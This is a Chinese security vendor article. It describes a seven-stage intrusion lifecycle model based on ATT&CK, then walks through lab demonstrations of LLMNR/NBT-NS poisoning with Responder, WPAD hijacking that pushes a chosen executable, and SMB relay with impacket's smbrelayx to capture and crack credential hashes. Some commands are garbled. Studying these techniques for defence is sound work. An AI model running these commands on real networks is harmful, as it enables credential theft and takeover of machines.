美创科技为了更好地进行入侵检测和防御，参照各种安全威胁框架和自身的实践与思考，提出了基于入侵生命周期的攻击管理模型。

作为美创新一代安全架构的三大支柱之一。入侵生命周期v1.0把入侵过程划分为7个阶段：探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库，匹配到不同的入侵阶段。需要注意的是，并非所有的入侵都会经历这7个阶段，也没有绝对的线性次序。

1）探索发现

在这个阶段中，攻击者会先锁定攻击对象，然后利用某些技术手段，尽可能多地获取目标暴露出来的信息，如通过端口扫描、指纹探测等方式，发现敏感端口及版本信息，进而寻找攻击点，为下一步入侵做准备。

2）入侵和感染

在这个阶段，攻击者会根据“探索发现”阶段所发现的重要信息，来对目标暴露出的攻击面进行攻击尝试，在“探索发现”阶段收集到的信息越多，攻击对象所暴露的攻击面也就越多，攻击更易成功。

3）探索感知

攻击者在成功进入系统内部后，由于是首次进入所以会出现对内部环境不熟悉的情况，这时攻击者的动作一般会是对当前所处环境进行探索，摸清内部大致的网络结构，常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描，后续根据攻击者的目的进行下一步操作。

4）传播

在此阶段，攻击者根据上一阶段在内网探索感知收集到的信息，选择特定的攻击手法。如若发现内部是域环境，攻击者可能会尝试先攻破域控服务器，再传播其他机器。若是工作组环境，可能会利用收集到的端口和服务信息，选择特定漏洞进行批量扫描攻击，来尽可能多地继续获得其他计算机的控制权。

5）持久化

攻击者在对资产进行恶意操作后，为了能够减少再次连接的攻击成本，方便下次进入，会进行“留后门”的操作，常见的后门如：建立计划任务，定时连接远程服务器；设置开机启动程序，在每次开机时触发执行特定恶意程序；新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。

6）攻击和利用

攻击者在此阶段便会开始对目标资产进行恶意操作，按照攻击者意愿，对能利用的数据进行窃取、利用；对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。

7）恢复

攻击者在执行所有的攻击操作时，往往会在系统上留下大量的行为日志，因此在这一阶段，攻击者会对记录自身痕迹的所有日志进行处理，或删除或混淆，从而消灭证据，逃避追踪。

网络嗅探攻击
（探索感知）

网络嗅探是在内网攻击中常利用的手段，攻击者可以嗅探网络流量以捕获有关环境的信息，包括通过网络传递的身份验证凭证。所谓网络嗅探是指使用系统上的网络接口监视或捕获通过有线或无线连接发送的信息。通过该原理常利用的技术手段有LLMNR/NBT-NS中毒，SMB中继之类的名称服务解析技术来重定向相关流量。

从网络嗅探的攻击行为链条的上下文来看，针对网络嗅探的行为链条输入输出如下：

输入：受害者机器登录凭证、网卡监听权限

输出：监听到的敏感信息，如登录凭证

目前利用网络嗅探达到获取敏感信息的利用手段主要有LLMNR/NBT-NS投毒、WPAD劫持、SMB中继。下面实际演示相关技术的利用步骤

1、LLMNR/NBT-NS投毒

基本原理:在访问共享地址时，当地址需要解析时，windows会首先检查本地host,若未解析到则会向本地的dns服务器请求解析，如果本地的也失败，则会被交给LLMNR【链路本地多播名称解析】和netbios-ns处理解析。netbios即名称服务，用于在同一内网中windows机器通过机器名相互访问，工作在会话层。当我们通过LLMNR伪造相关机器响应时，实现中间人攻击获取相关凭证。

环境要求

受害者机器：192.168.160.240

正常机器：192.168.160.132

攻击机kali：192.168.160.226

实验步骤

kali启动responder。

Responder下载地址为：https://github.com/SpiderLabs/Responder

监听本地端口，若发现有LLMNR广播，则进行伪造获取NET-NTLM

python Responder.py -I eth0

这时候正常机器访问任意共享，这种方式抓到的NET-NTLM hash可以通过爆破获得密码或者通过中继的方式进一步获取权限。本文以windows server2008 及winxp进行测试，当帐号第一次的时候，基本会成功。

抓取到的密码hash会保存在logs目录下，可使用john进行爆破。

2.  WPAD劫持

同样也有一种利用方式可以通过LLMNR实现，即WPDA，他是用来查找网络中的wpad.dat文件，有了这个文件，客户端就可以根据文件中的内容自动配置代理。找到这个文件的方式有多种，可以通过dns/dhcp，还有就是LLMNR查询，它通过广播的方式告诉同一内容的所有windows,它就是wpad服务器，当浏览器设置为自动检测代理设置时，就会下载攻击中事先准备好的wpad.dat文件。

步骤如下
修改respond.conf配置文件，如下所示：

Exefilename 就是受害者将会下载到的文件
kali下启动

python Responder.py -I eth0 -wrf

此时同一内网的机器访问任何域名都会下载我们指定的文件

3.  SMB中继

基本原理：SMB登录会需要相关登录凭证，当通过ipfile访问时，会默认带上之前的凭证，通过SMB中继可以将登录凭证转发到其他机器进行尝试登录，从而获取相关服务器的控制权限。

前提：需要smb签名关闭，即访问共享的机器。可使用nmap探测。

nmap --script smb-security-mode.nse -p445192.168.160.132 –open

环境要求

受害者机器：192.168.160.240

正常机器：192.168.160.132

攻击机kali：192.168.160.226

实验步骤

kali启动smb中继，首先安装impacket包

git clonehttps://github.com/CoreSecurity/impacket.git

chmod -R 755 impacket

cd impacket/

python setup.py install

cd examples/

python smbrelayx.py -h 受害机IP

因此执行

python3 smbrelayx.py -h 192.168.160.240

正常机器
通过远程共享连接

net use \192.168.160.226c$/user:Administrator 123456hq

在kali中查看相关中继信息，已经成功登录到受害者机器并且获得受害者机器上面的所有用户hash。